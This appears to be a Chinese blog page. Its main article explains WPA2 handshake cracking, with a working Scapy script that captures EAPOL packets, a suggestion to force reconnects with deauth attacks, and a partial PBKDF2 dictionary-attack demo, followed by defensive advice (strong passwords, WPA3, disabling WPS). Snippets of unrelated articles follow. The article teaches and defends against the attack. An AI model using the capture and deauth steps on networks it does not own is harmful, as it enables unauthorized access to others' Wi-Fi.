news 2026/2/6 7:22:19

Wi-Fi 破解原理与防御:用 Python + Scapy 抓取“握手包”并跑字典,硬核演示 WPA2 弱点

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Wi-Fi 破解原理与防御:用 Python + Scapy 抓取“握手包”并跑字典,硬核演示 WPA2 弱点

🚨 前言:你家的 Wi-Fi 为什么不安全?

WPA2 协议看似铜墙铁壁,但它有一个致命的设计逻辑缺陷
设备(手机/电脑)连接路由器时,必须进行**“四次握手” (4-Way Handshake)** 来验证密码是否正确。
这个过程是公开广播的。
黑客只要在旁边静静地“听”到这四次握手的数据包,把它抓回家,就可以关起门来用字典疯狂尝试密码,直到计算出的哈希值与抓到的包匹配。

攻防逻辑示意图 (Mermaid):

1. 请求连接
2. 发送随机数 Anonce
3. 发送随机数 Snonce + MIC (关键)
4. 确认

抓取握手包

跑字典/暴力破解

用户手机

路由器 AP

黑客 (监听模式)

本地电脑

得出明文密码


🛠️ 准备工作

  1. 硬件:你需要一个支持监听模式 (Monitor Mode)的无线网卡(如 RTL8812AU, AR9271 等)。
  2. 环境:Kali Linux 或 Ubuntu(Windows 下 Scapy 开启监听模式较麻烦)。
  3. 依赖
pipinstallscapy# 开启监听模式 (假设网卡是 wlan0)sudoairmon-ng start wlan0

📡 第一步:编写 Python 嗅探器抓取 EAPOL 包

WPA2 的握手包在网络协议中被称为EAPOL (Extensible Authentication Protocol over LAN)。我们要利用Scapy过滤出这种包。

核心代码 (sniffer.py):

fromscapy.allimport*importsys# 设置要监听的网卡 (通常是 wlan0mon)IFACE="wlan0mon"print(f"[*] 正在监听{IFACE}上的握手包...")defpacket_handler(pkt):# 过滤 EAPOL 协议的包ifpkt.haslayer(EAPOL):# EAPOL 包通常在 802.11 帧中ifpkt.haslayer(Dot11):# 获取发送方和接收方的 MAC 地址addr1=pkt.addr1# 接收方 (Destination)addr2=pkt.addr2# 发送方 (Source)print(f"[+] 捕获 EAPOL 包:{addr2}->{addr1}")# 将包保存到本地 pcap 文件wrpcap("handshake.pcap",pkt,append=True)# 开始嗅探# store=0 表示不在内存中保存包,防止内存溢出sniff(iface=IFACE,prn=packet_handler,store=0)

实战操作:

  1. 运行脚本。
  2. 为了加速抓包,通常会使用aireplay-ng发送**“断网攻击 (Deauth)”**,强制目标设备掉线。
  3. 目标设备自动重连时,脚本就会抓到 4 个 EAPOL 包,存入handshake.pcap

🔐 第二步:Python 模拟字典攻击 (原理演示)

抓到包后,我们如何从乱码中算出密码?
WPA2 的加密核心是PBKDF2算法。

计算公式:

简单来说:我们用字典里的密码算出 MIC,如果算出来的 MIC 和抓包里的 MIC 一样,密码就对了。

破解演示代码 (cracker.py):
(注意:Python 跑 PBKDF2 速度很慢,生产环境通常用 C 写的 aircrack-ng 或 GPU 加速的 hashcat,这里仅做原理解析)

importhashlibimporthmacfrombinasciiimporta2b_hexdefcalc_pmk(ssid,password):""" 计算成对主密钥 (PMK) 算法:PBKDF2(HMAC-SHA1, password, ssid, 4096, 32) """returnhashlib.pbkdf2_hmac('sha1',password.encode('utf-8'),ssid.encode('utf-8'),4096,32)deftry_crack(ssid,dictionary_file):print(f"[*] 开始破解 SSID:{ssid}")withopen(dictionary_file,'r',errors='ignore')asf:forlineinf:password=line.strip()iflen(password)<8:continue# 模拟计算过程(真实场景还需要结合 Anonce/Snonce 计算 PTK)# 这里仅演示最耗时的 PMK 计算步骤pmk=calc_pmk(ssid,password)# 假设我们有一个函数 check_mic(pmk, captured_packet)# if check_mic(pmk, captured_data):# print(f"🎉 密码找到: {password}")# break# 打印进度sys.stdout.write(f"\r正在尝试:{password}")sys.stdout.flush()# try_crack("MyHomeWiFi", "dict.txt")

🛡️ 防御篇:如何保护你的 Wi-Fi?

既然知道了攻击原理,防御就很有针对性了。

1. 杜绝弱密码

从原理可知,破解成功率完全取决于字典里有没有你的密码。

  • ❌ 弱密码:12345678,admin123,88888888(分分钟被秒破)。
  • ✅ 强密码:Tr0ub4dor&3(包含大小写、数字、特殊符号,且长度>12位,基本无法通过跑字典破解)。
2. 使用 WPA3

WPA3引入了SAE (对等实体同时验证)协议。

  • 它不传输易被离线破解的哈希值。
  • 即使黑客抓到了包,也无法在本地离线跑字典。
  • 建议:在路由器设置中,将加密模式改为WPA2/WPA3 混合模式仅 WPA3
3. 关闭 WPS (Wi-Fi Protected Setup)

虽然本文讲的是抓握手包,但WPS(那个为了方便连接的按钮/PIN码)是另一个巨大的安全漏洞,建议直接在路由器后台关闭。


📝 总结

通过 Python + Scapy,我们揭开了 Wi-Fi 破解的神秘面纱。
这并不是什么高深的魔法,而是利用了 WPA2 协议必须“广播握手”的特性。
作为开发者和架构师,理解攻击链条,才能设计出更安全的网络架构。

再次提醒:技术无罪,请勿作恶。保护好自己的网络,才是学习黑客技术的最终目的。

(觉得硬核?点赞、收藏,下期教你《如何用 Python 识别局域网内的 ARP 欺骗攻击》!)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/5 9:33:35

15、Puppet 扩展与负载均衡策略

Puppet 扩展与负载均衡策略 一、CA 目录同步 在进行 Puppet 扩展时,首先要保证 CA(证书颁发机构)目录的同步。可以使用 rsync 命令将主 CA 目录同步到备用 CA 目录,同时删除目标目录中源目录不存在的文件。示例命令如下: [root@puppet-ca-1 ~]# crontab -l * * * * …

作者头像 李华
网站建设 2026/2/4 1:40:57

27、MCollective与Hiera:高效基础设施管理与数据分离方案

MCollective与Hiera:高效基础设施管理与数据分离方案 1. MCollective简介 MCollective为Puppet管理的系统提供实时、基于元数据的命令和控制。它采用创新的方法来编排大量系统,不依赖主机名,而是与Facter集成,通过元数据过滤不想执行操作的机器。同时,它使用STOMP消息传…

作者头像 李华
网站建设 2026/2/5 11:34:48

Proteus 8.16下载安装教程:适用于64位系统的实践指南

Proteus 8.16 安装实战&#xff1a;从零开始搞定64位系统部署你是不是也遇到过这种情况&#xff1f;刚下载好 Proteus 8.16 的安装包&#xff0c;满怀期待地点开 Setup.exe&#xff0c;结果弹出一堆错误提示——“缺少 DLL 文件”、“访问被拒绝”、“启动后闪退”……折腾半天…

作者头像 李华
网站建设 2026/2/7 2:29:55

Dify平台的教学沙箱模式设计构想

Dify平台的教学沙箱模式设计构想 在人工智能教育快速普及的今天&#xff0c;越来越多高校和培训机构开始开设LLM&#xff08;大语言模型&#xff09;相关课程。但一个现实问题摆在面前&#xff1a;学生如何真正“动手”实践AI应用开发&#xff1f;传统的教学方式依赖PPT讲解和代…

作者头像 李华
网站建设 2026/2/6 12:24:00

AUTOSAR网络管理睡眠确认机制项目应用实例

AUTOSAR网络管理中的睡眠确认机制&#xff1a;从原理到实战的深度剖析一场“集体休眠”的工程挑战想象这样一个场景&#xff1a;车辆熄火后&#xff0c;所有电子控制单元&#xff08;ECU&#xff09;本应安静地进入低功耗睡眠模式&#xff0c;以减少蓄电池的静态电流消耗。然而…

作者头像 李华
网站建设 2026/2/4 9:24:51

Dify在房地产房源描述自动生成中的实践

Dify在房地产房源描述自动生成中的实践 当一套新房源上线&#xff0c;经纪人还在为“如何写出打动人心的文案”绞尽脑汁时&#xff0c;隔壁公司已经通过系统自动发布了五条风格统一、卖点精准的房源信息——这并非未来场景&#xff0c;而是当下部分头部房产平台正在发生的现实。…

作者头像 李华